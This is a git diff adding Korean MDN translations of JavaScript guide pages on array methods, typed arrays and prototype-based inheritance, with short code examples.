+                               // until index 3, returning [ "b", "c", "d"]</code></pre>
+
+<p>{{jsxref("Array.splice", "splice(index, count_to_remove, addElement1, addElement2, ...)")}} 메세드는 주어진 인덱스 요소를 포함하여 count_to_remove 갯수만큼 삭제 하고 주어진 요소로 바꿔 줍니다. </p>
+
+<pre><code>var myArray = new Array('1', '2', '3', '4', '5');
+myArray.splice(1, 3, 'a', 'b', 'c', 'd');
+// myArray is now ["1", "a", "b", "c", "d", "5"]
+// This code started at index one (or where the "2" was),
+// removed 3 elements there, and then inserted all consecutive
+// elements in its place.</code></pre>
+
+<p> </p>
+
+<p>{{jsxref ( "Array.reverse", "reverse ()")}} 배열의 요소를 제자리에 배치합니다. 첫 번째 배열 요소가 마지막 요소가되고 마지막 요소가 첫 번째 요소가됩니다. 배열에 대한 참조를 반환합니다.</p>
+
+<pre><code>var myArray = new Array('1', '2', '3');
+myArray.reverse();
+// transposes the array so that myArray = ["3", "2", "1"]</code></pre>
+
+<p> </p>
+
+<p>{{jsxref ( "Array.sort", "sort ()")}} 배열의 요소를 제자리에 정렬하고 배열에 대한 참조를 반환합니다.</p>
+
+<pre class="brush: js">var myArray = new Array('Wind', 'Rain', 'Fire');
+myArray.sort();
+// sorts the array so that myArray = [ "Fire", "Rain", "Wind" ]
+</pre>
+
+<p><code>sort()</code> 메서드에 어떻게 해당 배열의 요소를 정렬할 지 결정하는 콜백 함수를 인자로 줄 수 있습니다.</p>
+
+<p>콜백을 사용하는 sort 메소드 및 다른 메소드는 반복 메소드로 알려져 있습니다. 일부 메소드에서는 전체 배열을 반복하기 때문입니다. 각각은 <code>thisObject</code>라는 선택적인 두 번째 인수를 취합니다. 제공되면 <code>thisObject</code>는 콜백 함수의 본문에있는 <code>this</code> 키워드의 값이됩니다.</p>
+
+<p>제공되지 않으면 함수가 명시 적 객체 컨텍스트 외부에서 호출되는 다른 경우와 마찬가지로이 함수는 콜백으로 화살표 함수를 사용할 때 전역 객체 ({{domxref ( "window")}})를 참조합니다. 정상적인 기능은 콜백입니다.</p>
+
+<p>콜백 함수는 배열의 요소 인 두 개의 인수로 호출됩니다.</p>
+
+<p>아래 함수는 두 값을 비교하여 세 값 중 하나를 반환합니다.</p>
+
+<p>예를 들어, 다음은 문자열의 마지막 문자로 정렬합니다.</p>
+
+<pre class="brush: js">var sortFn = function(a, b){
+  if (a[a.length - 1] &lt; b[b.length - 1]) return -1;
+  if (a[a.length - 1] &gt; b[b.length - 1]) return 1;
+  if (a[a.length - 1] == b[b.length - 1]) return 0;
+}
+myArray.sort(sortFn);
+// sorts the array so that myArray = ["Wind","Fire","Rain"]
+</pre>
+
+<ul>
+ <li>a의 순서가 b보다 뒤에 오면 -1(혹은 음수)을 반환합니다.</li>
+ <li>a의 순서가 b보다 앞에 오면 1(혹은 양수)을 반환합니다.</li>
+ <li>a와 b가 같으면 0을 반환합니다.</li>
+</ul>
+
+<p>{{jsxref ( "Array.indexOf", "indexOf (searchElement [, fromIndex])")}}는 배열에서 <code>searchElement</code>를 검색하고 첫 번째 일치 항목의 인덱스를 반환합니다.</p>
+
+<pre class="brush: js">var a = ['a', 'b', 'a', 'b', 'a'];
+console.log(a.indexOf('b')); // logs 1
+// Now try again, starting from after the last match
+console.log(a.indexOf('b', 2)); // logs 3
+console.log(a.indexOf('z')); // logs -1, because 'z' was not found
+</pre>
+
+<p>{{jsxref("Array.lastIndexOf", "lastIndexOf(searchElement[, fromIndex])")}}메서드는 <code>indexOf</code>메서드와 유사하게 작동하지만 배열의 뒤쪽에서부터 요소를 찾습니다.</p>
+
+<pre class="brush: js">var a = ['a', 'b', 'c', 'd', 'a', 'b'];
+console.log(a.lastIndexOf('b')); // logs 5
+// Now try again, starting from before the last match
+console.log(a.lastIndexOf('b', 4)); // logs 1
+console.log(a.lastIndexOf('z')); // logs -1
+</pre>
+
+<p>{{jsxref("Array.forEach", "forEach(callback[, thisObject])")}}메서드는 배열의 모든 요소에 대해 반복적으로 주어진 <code>callback</code> 함수를 실행합니다. </p>
+
+<pre class="brush: js">var a = ['a', 'b', 'c'];
+a.forEach(function(element) { console.log(element);} );
+// logs each item in turn
+</pre>
+
+<p>{{jsxref("Array.map", "map(callback[, thisObject])")}}메서드는 배열의 모든 요소에 대해 콜백함수를 실행하고 콜백함수의 실행결과를 새로운 배열에 담아 반환합니다.</p>
+
+<pre class="brush: js">var a1 = ['a', 'b', 'c'];
+var a2 = a1.map(function(item) { return item.toUpperCase(); });
+console.log(a2); // logs ['A', 'B', 'C']
+</pre>
+
+<p>{{jsxref("Array.filter", "filter(callback[, thisObject])")}}메서드는 배열의 모든 요소에 대해 콜백 함수가 true를 반환하는 요소를 새로운 배열에 담아 반환 합니다. </p>
+
+<pre class="brush: js">var a1 = ['a', 10, 'b', 20, 'c', 30];
+var a2 = a1.filter(function(item) { return typeof item == 'number'; });
+console.log(a2); // logs ['10', '20', '30']
+</pre>
+
+<p> </p>
+
+<p>{{jsxref ( "Array.every", "every (callback [, thisObject])")}}는 콜백이 배열의 모든 항목에 대해 true를 반환하면 true를 반환합니다.</p>
+
+<pre class="brush: js">function isNumber(value){
+  return typeof value == 'number';
+}
+var a1 = [1, 2, 3];
+console.log(a1.every(isNumber)); // logs true
+var a2 = [1, '2', 3];
+console.log(a2.every(isNumber)); // logs false
+</pre>
+
+<p>{{jsxref("Array.some", "some(callback[, thisObject])")}}메서드는 배열의 모든 요소에 대해 콜백 함수를 실행하고 하나의 요소라도 콜백 함수의 결과가 true이면 some()메서드의 결과는 true가 됩니다.</p>
+
+<pre class="brush: js">function isNumber(value){
+  return typeof value == 'number';
+}
+var a1 = [1, 2, 3];
+console.log(a1.some(isNumber)); // logs true
+var a2 = [1, '2', 3];
+console.log(a2.some(isNumber)); // logs true
+var a3 = ['1', '2', '3'];
+console.log(a3.some(isNumber)); // logs false
+</pre>
+
+<p>{{jsxref("Array.reduce", "reduce(callback[, initialValue])")}}메서드는 배열내의 요소를 하나의 요소로 줄이기 위해 <code>firstValue, secondValue</code>를 인자로 받는 콜백 함수를 실행합니다.</p>
+
+<pre class="brush: js">var a = [10, 20, 30];
+var total = a.reduce(function(first, second) { return first + second; }, 0);
+console.log(total) // Prints 60
+</pre>
+
+<p>{{jsxref("Array.reduceRight", "reduceRight(callback[, initalvalue])")}}메서드는 reduce()와 유사하게 작동하지만 배열의 마지막 요소부터 시작합니다.</p>
+
+<p><code>reduce</code>와 <code>reduceRight</code> 메서드는 반복적인 배열 메서드 중 가장 명백합니다. 두 메서드는 재귀적으로 하나의 시퀀스를 하나의 값으로 줄이기 위해 두개의 값을 합치는 알고리즘을 위해 사용되어야 합니다. </p>
+
+<h3 id="다차원_배열">다차원 배열</h3>
+
+<p>배열은 중첩될 수 있습니다. 즉, 하나의 배열은 또 다른 배열을 요소로 포함할 수 있습니다. 자바스크립트 배열의 이런 특성을 사용하여, 다차원 배열을 생성할 수 있습니다.</p>
+
+<p>아래의 예제는 2차원 배열을 생성하는 예제입니다.</p>
+
+<pre><code>var a = new Array(4);
+for (i = 0; i &lt; 4; i++) {
+  a[i] = new Array(4);
+  for (j = 0; j &lt; 4; j++) {
+    a[i][j] = '[' + i + ', ' + j + ']';
+  }
+}</code></pre>
+
+<p>이 예제는 다음과 같은 열을 포함하는 배열을 생성합니다.</p>
+
+<pre>Row 0: [0,0] [0,1] [0,2] [0,3]
+Row 1: [1,0] [1,1] [1,2] [1,3]
+Row 2: [2,0] [2,1] [2,2] [2,3]
+Row 3: [3,0] [3,1] [3,2] [3,3]
+</pre>
+
+<h3 id="배열과_정규표현식">배열과 정규표현식</h3>
+
+<p>문자열내에 정규 표현식에 일치하는 결과가 배열일 경우, 해당 배열은 정규 표현식에 일치하는 문자열들의 정보를 제공해 주는 속성들과 요소들을 반환합니다. {{jsxref ( "Global_Objects / RegExp / exec", "RegExp.exec ()")}}, {{jsxref("Global_Objects/String/match","String.match()")}}, 와 {{jsxref("Global_Objects/String/split","String.split()")}}메서드는 결과를 배열로 반환합니다. 정규식과 함께 배열을 어떻게 사용하는지에 대한 정보는 <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions" title="en-US/docs/JavaScript/Guide/Regular Expressions">정규표현식</a>을 참조하시면 됩니다. </p>
+
+<h3 id="배열과_유사한_객체_사용">배열과 유사한 객체 사용</h3>
+
+<p>{{domxref ( "document.getElementsByTagName ()")}} 또는 {{jsxref ( "Functions / arguments", "arguments")}}에서 반환하는 {{domxref("NodeList")}}  객체는 함수 본문 내에서 사용할 수 있게 만들어졌으며 겉으로는 배열처럼 보이고 작동하지만 모든 메서드를 공유하지는 않습니다. arguments 객체는 {{jsxref ( "Global_Objects / Function / length", "length")}} 속성을 제공하지만 {{jsxref ( "Array.forEach", "forEach ()")}} 메소드는 구현하지 않습니다.</p>
+
+<p>배열 프로토 타입 메소드는 다른 배열과 유사한 객체에 대해 호출 될 수 있습니다.</p>
+
+<pre class="brush: js">function printArguments() {
+  Array.prototype.forEach.call(arguments, function(item) {
+    console.log(item);
+  });
+}
+</pre>
+
+<p>배열 프로토 타입 메서드는 배열과 비슷한 방식으로 문자에 순차적으로 액세스 할 수 있으므로 문자열에서도 사용할 수 있습니다.</p>
+
+<pre><code>Array.prototype.forEach.call('a string', function(chr) {
+  console.log(chr);
+});</code></pre>
+
+<h2 id="타입_배열">타입 배열</h2>
+
+<p>자바스크립트 타입 배열은 배열과 유사한 객체이며 원시 이진 데이터 접근에 대한 메카니즘을 제공합니다. 이미 알고 있듯이, {{jsxref("Array")}}객체는 동적으로 크기가 커지고 작아 질 수 있으며 어떤 자바스크립트 값이라도 가질 수 있습니다. 자바스크립트 엔진은 그런 배열을 빠르게 만들기 위해 최적화를 수행합니다. 그러나 웹 어플케이션이 보다 강력해지고, 음성, 영상 조작, <a href="/en-US/docs/WebSockets">웹소켓</a>을 사용하여 원시 데이터에 접근하는 등의 기능들이 추가 되면서 자바스크립트 코드가 타입배열을 가지고 빠르고 쉽게 원시 이진 데이터를 조작할 수 있는 것이 가능한 시점이 되었다는 것은 보다 명백해졌습니다.</p>
+
+<h3 id="버퍼와_뷰_타입_배열_구조">버퍼와 뷰: 타입 배열 구조</h3>
+
+<p>유연성과 효율성을 극대화 하기 위해, 자바스크립트 타입 배열을 <strong>버퍼</strong>와 <strong>뷰</strong>라는 구조로 구현되어 있습니다. 하나의 버퍼({{jsxref("ArrayBuffer")}}객체로 구현되어 있습니다.)는 하나의 데이터 덩어리를 의미하는 객체입니다. 버퍼는 구체적으로 언급할 형식이 없고, 버퍼가 담고 있는 내용에 접근할 메카니즘을 제공하지 않습니다. 버퍼에 담겨져 있는 메모리에 접근하기 위해선, 뷰를 사용해야 합니다. 하나의 뷰는 컨덱스트를 제공하는데, 컨텍스트는 데이터 형, 시작 오프셋 그리고 실제 타입배열로 변경되는 요소의 갯수를 제공합니다. </p>
+
+<p><img alt="Typed arrays in an ArrayBuffer" src="https://mdn.mozillademos.org/files/8629/typed_arrays.png" style="height: 278px; width: 666px;"></p>
+
+<h3 id="배열버퍼">배열버퍼</h3>
+
+<p>{{jsxref("ArrayBuffer")}}는 일반적이고, 고정길이의 이진 데이터 버퍼를 표현하기 위해 사용되는 데이터 타입입니다. <code>ArrayBuffer의 내용을 직접 수정할 수는 없는 대신 타입 배열 뷰 혹은 특정 형식 그리고 해당 버퍼의 내용을 읽고 쓸수 있게 해주는 </code>{{jsxref("DataView")}}<code>를 생성할 수 있습니다.</code></p>
+
+<h3 id="타입_배열_뷰">타입 배열 뷰</h3>
+
+<p>타입 배열 뷰들은 스스로를 나타낼 수 있는 이름과 <code>Int8</code>, <code>Uint32</code>, <code>Float64등의 일반적인 숫자 형들을 위한 뷰를 제공합니다.Uint8ClampedArray라는 특별한 타입 배열 뷰가 있습니다. 0부터 255까지의 값을 가질수 있습니다. 예를 들며, Uint8ClampedArray는 </code><a href="/en-US/docs/Web/API/ImageData">Canvas data processing</a>에 유용합니다. </p>
+
+<p>{{page("/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "TypedArray_objects")}}</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a>를 참조하시면 보다 많은 정보를 보실 수 있습니다. </p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Regular_Expressions", "Web/JavaScript/Guide/Keyed_Collections")}}</p>
diff --git a/files/ko/web/javascript/guide/inheritance_and_the_prototype_chain/index.html b/files/ko/web/javascript/guide/inheritance_and_the_prototype_chain/index.html
new file mode 100644
index 0000000000..e05bab3102
--- /dev/null
+++ b/files/ko/web/javascript/guide/inheritance_and_the_prototype_chain/index.html
@@ -0,0 +1,531 @@
+---
+title: 상속과 프로토타입
+slug: Web/JavaScript/Guide/Inheritance_and_the_prototype_chain
+tags:
+  - JavaScript
+  - 객체지향
+  - 상속
+  - 중급
+translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain
+---
+<p>{{jsSidebar("Advanced")}}</p>
+
+<p>Java 나 C++ 같이 클래스 기반의 언어를 사용하던 프로그래머는 자바스크립트가 동적인 언어라는 점과 클래스가 없다는 것에서 혼란스러워 한다. (ES2015부터 class 키워드를 지원하기 시작했으나, 문법적인 양념일 뿐이며 자바스크립트는 여전히 프로토타입 기반의 언어다.)</p>
+
+<p>상속 관점에서 자바스크립트의 유일한 생성자는 객체뿐이다. 각각의 객체는 [[Prototype]]이라는 은닉(private) 속성을 가지는데 자신의 <strong>프로토타입</strong>이 되는 다른 객체를 가리킨다. 그 객체의 프로토타입 또한 프로토타입을 가지고 있고 이것이 반복되다, 결국 <code>null</code>을 프로토타입으로 가지는 오브젝트에서 끝난다. null은 더 이상의 프로토타입이 없다고 정의되며, <strong>프로토타입 체인</strong>의 종점 역할을 한다.</p>
+
+<p>종종 이러한 점이 자바스크립트의 약점이라고 지적되지만, 프로토타입적 상속 모델은 사실 고전적인 방법보다 좀 더 강력한 방법이다. 그 말은, 예를 들자면, 프로토타입적 모델에서 고전적인 방식을 구현하는 건 꽤나 사소한 일이지만, 그 반대는 훨씬 더 어려운 일이기 때문이다.</p>
+
+<h2 id="프로토타입_체인을_이용한_상속">프로토타입 체인을 이용한 상속</h2>
+
+<h3 id="속성_상속">속성 상속</h3>
+
+<p>자바스크립트 객체는 속성을 저장하는 동적인 "가방"과 (<strong>자기만의 속성</strong>이라고 부른다) 프로토타입 객체에 대한 링크를 가진다. 객체의 어떤 속성에 접근하려할 때 그 객체 자체 속성 뿐만 아니라 객체의 프로토타입, 그 프로토타입의 프로토타입 등 프로토타입 체인의 종단에 이를 때까지 그 속성을 탐색한다.</p>
+
+<div class="note">ECMAScript 표준은 someObject.[[Prototype]]을 객체 someObject의 프로토타입을 지시하도록 명시하였다. ECMAScript 2015부터 [[Prototype]]에 조상 {{jsxref("Object.getPrototypeOf()")}}과 {{jsxref("Object.setPrototypeOf()")}}을 이용하여 접근하기 때문이다. 이것은 자바스크립트의 표준은 아니나 많은 브라우저에 구현되어 사실상의 표준이 된 속성 __proto__과 동일하다.</div>
+
+<p>아래 코드에는 어떤 속성에 접근 하려할 때 일어나는 상황이다.</p>
+
+<pre class="brush: js">// o라는 객체가 있고, 속성 'a' 와 'b'를 갖고 있다고 하자.
+let f = function () {
+    this.a = 1;
+    this.b = 2;
+}
+let o = new f(); // {a: 1, b: 2}
+
+// f 함수의 prototype 속성 값들을 추가 하자.
+f.prototype.b = 3;
+f.prototype.c = 4;
+
+// f.prototype = {b: 3, c: 4}; 라고 하지 마라, 해당 코드는 prototype chain 을 망가뜨린다.
+// o.[[Prototype]]은 속성 'b'와 'c'를 가지고 있다.
+// o.[[Prototype]].[[Prototype]] 은 Object.prototype 이다.
+// 마지막으로 o.[[Prototype]].[[Prototype]].[[Prototype]]은 null이다.
+// null은 프로토타입의 종단을 말하며 정의에 의해서 추가 [[Prototype]]은 없다.
+// {a: 1, b: 2} ---&gt; {b: 3, c: 4} ---&gt; Object.prototype ---&gt; null
+
+console.log(o.a); // 1
+// o는 'a'라는 속성을 가지는가? 그렇다. 속성의 값은 1이다.
+
+console.log(o.b); // 2
+// o는 'b'라는 속성을 가지는가? 그렇다. 속성의 값은 2이다.
+// 프로토타입 역시 'b'라는 속성을 가지지만 이 값은 쓰이지 않는다. 이것을 "속성의 가려짐(property shadowing)" 이라고 부른다.
+
+console.log(o.c); // 4
+// o는 'c'라는 속성을 가지는가? 아니다. 프로토타입을 확인해보자.
+// o.[[Prototype]]은 'c'라는 속성을 가지는가? 가지고 값은 4이다.
+
+console.log(o.d); // undefined
+// o는 'd'라는 속성을 가지는가? 아니다. 프로토타입을 확인해보자.
+// o.[[Prototype]]은 'd'라는 속성을 가지는가? 아니다. 다시 프로토타입을 확인해보자.
+// o.[[Prototype]].[[Prototype]]은 null이다. 찾는 것을 그만두자.
+// 속성이 발견되지 않았기 때문에 undefined를 반환한다.
+</pre>
+
+<p>객체의 속성에 값을 지정하면 "자기만의 속성"이 생긴다.  단, <a href="/en/JavaScript/Guide/Obsolete_Pages/Creating_New_Objects/Defining_Getters_and_Setters" title="Defining Getters and Setters">getter or a setter</a>가 적용되는 속성이 상속되는 경우 예외적인 규칙이 적용된다.</p>
+
+<h3 id="메소드_상속">메소드 상속</h3>
+
+<p>자바스크립트에 "메소드"라는건 없다. 하지만 자바스크립트는 객체의 속성으로 함수를 지정할 수 있고 속성 값을 사용하듯 쓸 수 있다. 속성 값으로 지정한 함수의 상속 역시 위에서 본 속성의 상속과 동일하다. (단 위에서 언급한 "속성의 가려짐" 대신 "<em>메소드 오버라이딩, method overriding</em>" 라는 용어를 사용한다)</p>
+
+<p>상속된 함수가 실행 될 때,  <a href="/en/JavaScript/Reference/Operators/this" title="this"><code>this</code></a> 라는 변수는 상속된 오브젝트를 가르킨다. 그 함수가 프로토타입의 속성으로 지정되었다고 해도 말이다.</p>
+
+<pre class="brush: js">var o = {
+  a: 2,
+  m: function(b){
+    return this.a + 1;
+  }
+};
+
+console.log(o.m()); // 3
+// o.m을 호출하면 'this' 는 o를 가리킨다.
+
+var p = Object.create(o);
+// p 는 프로토타입을 o로 가지는 오브젝트이다.
+
+p.a = 12; // p 에 'a'라는 새로운 속성을 만들었다.
+console.log(p.m()); // 13
+// p.m이 호출 될 때 'this' 는 'p'를 가리킨다.
+// 따라서 o의 함수 m을 상속 받으며,
+// 'this.a'는 p.a를 나타내며 p의 개인 속성 'a'가 된다.
+</pre>
+
+<h2 id="Javascript_에서_프로토타입을_사용하는_방법">Javascript 에서 프로토타입을 사용하는 방법</h2>
+
+<p>뒤에서 일어나는 일을 좀 더 자세히 파헤쳐보자.</p>
+
+<p>위에서 언급했듯이, 자바스크립트에서 함수는 속성을 가질 수 있다. 모든 함수에는 <code>prototype</code>이라는 특수한 속성이 있다. 아래의 예제 코드는 독립적이라는 것에 유의하자. (아래의 코드 이외에는 웹페이지에 다른 자바스크립트가 없다고 가정하는 것이 좋다.)</p>
+
+<p>최적의 실습을 위해서 콘솔을 열고 "Console" 탭으로 이동하여 아래의 JavaScript 코드를 복사하여 붙여넣은 다음 , 엔터키를 눌러 실행할 것을 적극 권한다. (콘솔은 대부분 웹 브라우저의 Developer Tools에 포함되어있다. 자세한 내용은 <a href="https://developer.mozilla.org/ko-KR/docs/Tools">Firefox Developer Tools</a>, <a href="https://developers.google.com/web/tools/chrome-devtools/">Chrome DevTools</a>,<a href="https://docs.microsoft.com/en-us/microsoft-edge/devtools-guide"> Edge DevTools</a> 에서 확인할 수 있다. )</p>
+
+<div></div>
+
+<pre><code>function doSomething(){}
+console.log( doSomething.prototype );
+// It does not matter how you declare the function, a
+//  function in JavaScript will always have a default
+//  prototype property.
+var doSomething = function(){};
+console.log( doSomething.prototype );</code></pre>
+
+<p>위 내용을 토대로, 콘솔을 보면  <code>doSomething()</code> 은 기본 <code>prototype</code> 속성을 가진다. 코드를 실행한 뒤에 콘솔에서는 다음과 유사한 형태의 객체가 표시되어야한다.</p>
+
+<pre><code>{
+    constructor: ƒ doSomething(),
+    __proto__: {
+        constructor: ƒ Object(),
+        hasOwnProperty: ƒ hasOwnProperty(),
+        isPrototypeOf: ƒ isPrototypeOf(),
+        propertyIsEnumerable: ƒ propertyIsEnumerable(),
+        toLocaleString: ƒ toLocaleString(),
+        toString: ƒ toString(),
+        valueOf: ƒ valueOf()
+    }
+}</code></pre>
+
+<p>우리는 아래에 보이는 것과 같이 <code>doSomething()</code> 프로토타입에 속성을 추가할 수 있다.</p>
+
+<pre><code>function doSomething(){}
+doSomething.prototype.foo = "bar";
+console.log( doSomething.prototype );</code></pre>
+
+<p>결과:</p>
+
+<pre><code>{
+    foo: "bar",
+    constructor: ƒ doSomething(),
+    __proto__: {
+        constructor: ƒ Object(),
+        hasOwnProperty: ƒ hasOwnProperty(),
+        isPrototypeOf: ƒ isPrototypeOf(),
+        propertyIsEnumerable: ƒ propertyIsEnumerable(),
+        toLocaleString: ƒ toLocaleString(),
+        toString: ƒ toString(),
+        valueOf: ƒ valueOf()
+    }
+}</code>
+</pre>
+
+<p>이제 <code>new</code> 연산자를 사용해서 프로토타입 기반의 <code>doSomething()</code> 인스턴스를 생성할 수 있다. new 연산자를 사용하려면 함수 호출 형식에 <code>new</code> 접두사를 붙이기만하면 된다. <code>new</code> 연산자로 함수를 호출하면 해당 함수의 인스턴스 객체를 반환받는다. 그러면 속성들을 이 객체에 추가할 수 있다.</p>
+
+<p>다음의 코드를 실행해보자.</p>
+
+<pre><code>function doSomething(){}
+doSomething.prototype.foo = "bar"; // add a property onto the prototype
+var doSomeInstancing = new doSomething();
+doSomeInstancing.prop = "some value"; // add a property onto the object
+console.log( doSomeInstancing );</code></pre>
+
+<p>실행하고나면 결과는 다음과 비슷할 것이다.</p>
+
+<pre><code>{
+    prop: "some value",
+    __proto__: {
+        foo: "bar",
+        constructor: ƒ doSomething(),
+        __proto__: {
+            constructor: ƒ Object(),
+            hasOwnProperty: ƒ hasOwnProperty(),
+            isPrototypeOf: ƒ isPrototypeOf(),
+            propertyIsEnumerable: ƒ propertyIsEnumerable(),
+            toLocaleString: ƒ toLocaleString(),
+            toString: ƒ toString(),
+            valueOf: ƒ valueOf()
+        }
+    }
+}</code>
+</pre>
+
+<p>위에서 본 것과 같이, doSomeInstancing 객체의 __proto__ 는 doSomething.prototype 이다.<br>
+ 그래서 도대체 __proto__는 무엇을 하는것인지 알아보자.<br>
+ 우리가 doSomeInstancing의 속성에 접근할때 브라우저는 우선 doSomeInstancing이 그 속성을 갖고있는지 확인한다.<br>
+ 만약 doSomeInstancing이 속성을 갖고있지 않다면, 브라우저는 doSomeInstancing의 __proto__(doSomething.prototype)가 그 속성을 갖고있는지 확인한다.<br>
+ 만약 doSomeInstancing의 __proto__가 브라우저가 찾던 속성을 갖고 있다면, doSomething의 __proto__가 갖고있는 그 속성을 사용한다.</p>
+
+<p>그렇지 않고, doSomeInstancing의 __proto__가 그 속성을 갖고있지 않을때에는<br>
+ doSomeInstancing의 __proto__의 __proto__가 그 속성을 갖는지 확인한다.<br>
+ 기본적으로, 어떠한 함수던지 그 함수의 prototype 속성의 __proto__는 window.Object.prototype이다.<br>
+ 그러므로 브라우저는 doSomeInstancing의 __proto__의 __proto__(doSomething.prototype의 __proto__(다시말해, Object.prototype))  에서 그 속성을 찾아본다.<br>
+ 만약 그 속성을 doSomeInstancing의 __proto__의 __proto__에서 찾을 수 없다면 그다음엔 doSomeInstancing의 __proto__의 __proto__의 __proto__에서 찾을것이다.<br>
+ 하지만 여기서 문제가 발생한다.<br>
+ doSomeInstancing의 __proto__의 __proto__의 __proto__는 존재할 수 없다(window.Object.prototype의 __proto__는 null이기 때문).<br>
+ 그제서야, 오직 모든 프로토타입 체인이 검사 되고 브라우저가 더이상  검사할 __proto__가 없을때에서야 브라우저는 우리가 찾던 값이 undefined라고 결론짓는다.</p>
+
+<p>콘솔에 코드를 조금 더 추가해보자.</p>
+
+<pre><code>function doSomething(){}
+doSomething.prototype.foo = "bar";
+var doSomeInstancing = new doSomething();
+doSomeInstancing.prop = "some value";
+console.log("doSomeInstancing.prop:      " + doSomeInstancing.prop);
+console.log("doSomeInstancing.foo:       " + doSomeInstancing.foo);
+console.log("doSomething.prop:           " + doSomething.prop);
+console.log("doSomething.foo:            " + doSomething.foo);
+console.log("doSomething.prototype.prop: " + doSomething.prototype.prop);
+console.log("doSomething.prototype.foo:  " + doSomething.prototype.foo);</code>
+</pre>
+
+<p>이 코드의 결과는 아래와 같다.</p>
+
+<pre><code>doSomeInstancing.prop:      some value
+doSomeInstancing.foo:       bar
+doSomething.prop:           undefined
+doSomething.foo:            undefined
+doSomething.prototype.prop: undefined
+doSomething.prototype.foo:  bar</code>
+</pre>
+
+<h2 id="객체를_생성하는_여러_방법과_프로토타입_체인_결과">객체를 생성하는 여러 방법과 프로토타입 체인 결과</h2>
+
+<h3 id="문법_생성자로_객체_생성">문법 생성자로 객체 생성</h3>
+
+<pre class="brush: js">var o = {a: 1};
+
+// o 객체는 프로토타입으로 Object.prototype 을 가진다.
+// 이로 인해 o.hasOwnProperty('a') 같은 코드를 사용할 수 있다.
+// hasOwnProperty 라는 속성은 Object.prototype 의 속성이다.
+// Object.prototype 의 프로토타입은 null 이다.
+// o ---&gt; Object.prototype ---&gt; null
+
+var a = ["yo", "whadup", "?"];
+
+// Array.prototype을 상속받은 배열도 마찬가지다.
+// (이번에는 indexOf, forEach 등의 메소드를 가진다)
+// 프로토타입 체인은 다음과 같다.
+// a ---&gt; Array.prototype ---&gt; Object.prototype ---&gt; null
+
+function f(){
+  return 2;
+}
+
+// 함수는 Function.prototype 을 상속받는다.
+// (이 프로토타입은 call, bind 같은 메소드를 가진다)
+// f ---&gt; Function.prototype ---&gt; Object.prototype ---&gt; null
+</pre>
+
+<h3 id="생성자를_이용">생성자를 이용</h3>
+
+<p>자바스크립트에서 생성자는 단지 <a href="/en/JavaScript/Reference/Operators/new" title="new">new 연산자</a>를  사용해 함수를 호출하면 된다.</p>
+
+<pre class="brush: js">function Graph() {
+  this.vertexes = [];
+  this.edges = [];
+}
+
+Graph.prototype = {
+  addVertex: function(v){
+    this.vertexes.push(v);
+  }
+};
+
+var g = new Graph();
+// g 'vertexes' 와 'edges'를 속성으로 가지는 객체이다.
+// 생성시 g.[[Prototype]]은 Graph.prototype의 값과 같은 값을 가진다.
+</pre>
+
+<h3 id="Object.create_이용">Object.create 이용</h3>
+
+<p>ECMAScript 5는 새로운 방법을 도입했다. <a href="/en/JavaScript/Reference/Global_Objects/Object/create" title="create">Object.create</a>라는 메소드를 호출하여 새로운 객체를 만들 수 있다. 생성된 객체의 프로토타입은 이 메소드의 첫 번째 인수로 지정된다.</p>
+
+<pre class="brush: js">var a = {a: 1};
+// a ---&gt; Object.prototype ---&gt; null
+
+var b = Object.create(a);
+// b ---&gt; a ---&gt; Object.prototype ---&gt; null
+console.log(b.a); // 1 (상속됨)
+
+var c = Object.create(b);
+// c ---&gt; b ---&gt; a ---&gt; Object.prototype ---&gt; null
+
+var d = Object.create(null);
+// d ---&gt; null
+console.log(d.hasOwnProperty); // undefined이다. 왜냐하면 d는 Object.prototype을 상속받지 않기 때문이다.
+</pre>
+
+<div>
+<h3 id="class_키워드_이용"><code>class</code> 키워드 이용</h3>
+
+<p>ECMAScript2015에는 몇 가지 키워드가 도입되어 <a href="/en-US/docs/Web/JavaScript/Reference/Classes">class</a>를 구현하였다. 이런 생성 방식은 클래서 기반 언어의 개발자들에게 친숙하게 다가오나 동작 방식이 같지는 않다. 자바스크립트는 여전히 프로토타입 기반으로 남아있다. 새로 도입된 키워드는 {{jsxref("Statements/class", "class")}}, {{jsxref("Classes/constructor", "constructor")}}, {{jsxref("Classes/static", "static")}}, {{jsxref("Classes/extends", "extends")}}, 그리고 {{jsxref("Operators/super", "super")}}가 있다.</p>
+
+<pre class="brush: js">'use strict';
+
+class Polygon {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+}
+
+class Square extends Polygon {
+  constructor(sideLength) {
+    super(sideLength, sideLength);
+  }
+  get area() {
+    return this.height * this.width;
+  }
+  set sideLength(newLength) {
+    this.height = newLength;
+    this.width = newLength;
+  }
+}
+
+var square = new Square(2);
+</pre>
+
+<h3 id="성능">성능</h3>
+
+<p>프로토타입 체인에 걸친 속성 검색으로 성능에 나쁜 영향을 줄 수 있으며, 때때로 치명적일 수 있다. 또한 존재하지도 않는 속성에 접근하려는 시도는 항상 모든 프로토타입 체인인 전체를 탐색해서 확인하게 만든다.</p>
+
+<p>객체의 속성에 걸쳐 루프를 수행 하는 경우 프로토타입 체인 전체의 <strong>모든</strong> 열거자 속성에 대하여 적용된다. 객체 개인 속성인지 프로토타입 체인상 어딘가에 있는지 확인하기 위해서는 Object.prototype에서 모든 오브젝트로 상속된 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a> 메소드를 이용할 필요가 있다. 다음 코드를 통하여 구체적인 예를 확인하여 보자.</p>
+
+<pre class="brush: js">console.log(g.hasOwnProperty('vertices'));
+// true
+
+console.log(g.hasOwnProperty('nope'));
+// false
+
+console.log(g.hasOwnProperty('addVertex'));
+// false
+
+console.log(g.__proto__.hasOwnProperty('addVertex'));
+// true
+</pre>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a> 메소드만이 속성을 확인하고 프로토타입 체인 전체를 훑지 않게 할 수 있다.</p>
+
